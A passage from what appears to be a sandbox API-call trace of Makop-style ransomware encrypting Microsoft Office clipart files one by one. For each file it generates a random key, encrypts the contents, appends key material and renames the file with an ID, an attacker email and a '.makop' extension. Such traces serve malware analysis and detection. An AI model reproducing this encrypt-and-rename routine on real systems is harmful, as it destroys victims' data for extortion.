nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.904] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.904] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.904] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.905] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.905] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.905] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x195b, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x195b, lpOverlapped=0x0) returned 1 [0141.906] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1960, dwBufLen=0x1960 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1960) returned 1 [0141.906] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.906] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1960, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1960, lpOverlapped=0x0) returned 1 [0141.907] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.907] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1a34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.907] SetEndOfFile (hFile=0xf0) returned 1 [0141.913] GetProcessHeap () returned 0x48a0000 [0141.913] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.913] GetProcessHeap () returned 0x48a0000 [0141.913] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.914] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.914] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.915] CloseHandle (hObject=0xf0) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1652, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_02.MID", cAlternateFileName="")) returned 1 [0141.916] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID") returned 63 [0141.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.917] GetProcessHeap () returned 0x48a0000 [0141.917] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.917] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.917] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.917] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0141.921] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.921] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.922] GetProcessHeap () returned 0x48a0000 [0141.922] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.922] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.922] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.922] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.922] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.922] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.923] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.923] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.923] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.923] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.923] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1652, lpOverlapped=0x0) returned 1 [0141.924] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1660, dwBufLen=0x1660 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1660) returned 1 [0141.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.925] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1660, lpOverlapped=0x0) returned 1 [0141.925] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.925] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.925] SetEndOfFile (hFile=0xf0) returned 1 [0141.932] GetProcessHeap () returned 0x48a0000 [0141.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.932] GetProcessHeap () returned 0x48a0000 [0141.932] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.932] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_02.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_02.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.934] CloseHandle (hObject=0xf0) returned 1 [0141.934] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x215a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_03.MID", cAlternateFileName="")) returned 1 [0141.934] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID") returned 63 [0141.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.935] GetProcessHeap () returned 0x48a0000 [0141.935] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.935] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.935] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0141.940] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.940] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.940] GetProcessHeap () returned 0x48a0000 [0141.940] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.941] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.941] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.942] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.942] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.942] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.942] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x215a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x215a, lpOverlapped=0x0) returned 1 [0141.944] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2160, dwBufLen=0x2160 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2160) returned 1 [0141.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.944] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2160, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2160, lpOverlapped=0x0) returned 1 [0141.944] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.944] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2234, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.944] SetEndOfFile (hFile=0xf0) returned 1 [0141.951] GetProcessHeap () returned 0x48a0000 [0141.951] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.951] GetProcessHeap () returned 0x48a0000 [0141.951] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.951] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_03.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_03.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.953] CloseHandle (hObject=0xf0) returned 1 [0141.953] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x17b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_04.MID", cAlternateFileName="")) returned 1 [0141.953] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0141.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.956] GetProcessHeap () returned 0x48a0000 [0141.956] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.956] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.956] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.956] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0141.961] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.961] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.961] GetProcessHeap () returned 0x48a0000 [0141.962] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.962] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.962] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.962] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0141.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0141.962] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0141.962] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0141.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0141.963] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0141.963] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.963] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.963] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17b6, lpOverlapped=0x0) returned 1 [0141.964] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17c0, dwBufLen=0x17c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17c0) returned 1 [0141.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.965] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17c0, lpOverlapped=0x0) returned 1 [0141.965] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.965] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.965] SetEndOfFile (hFile=0xf0) returned 1 [0141.972] GetProcessHeap () returned 0x48a0000 [0141.972] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0141.972] GetProcessHeap () returned 0x48a0000 [0141.972] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0141.972] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0141.973] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0141.974] CloseHandle (hObject=0xf0) returned 1 [0141.975] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x59c68c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1784, dwReserved0=0x0, dwReserved1=0x0, cFileName="PARNT_05.MID", cAlternateFileName="")) returned 1 [0141.975] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0141.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0141.977] GetProcessHeap () returned 0x48a0000 [0141.977] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0141.978] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0141.978] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0141.978] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0141.982] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0141.982] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0141.983] GetProcessHeap () returned 0x48a0000 [0141.983] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0141.983] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0141.983] CryptDestroyKey (hKey=0x48c7128) returned 1 [0141.983] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: 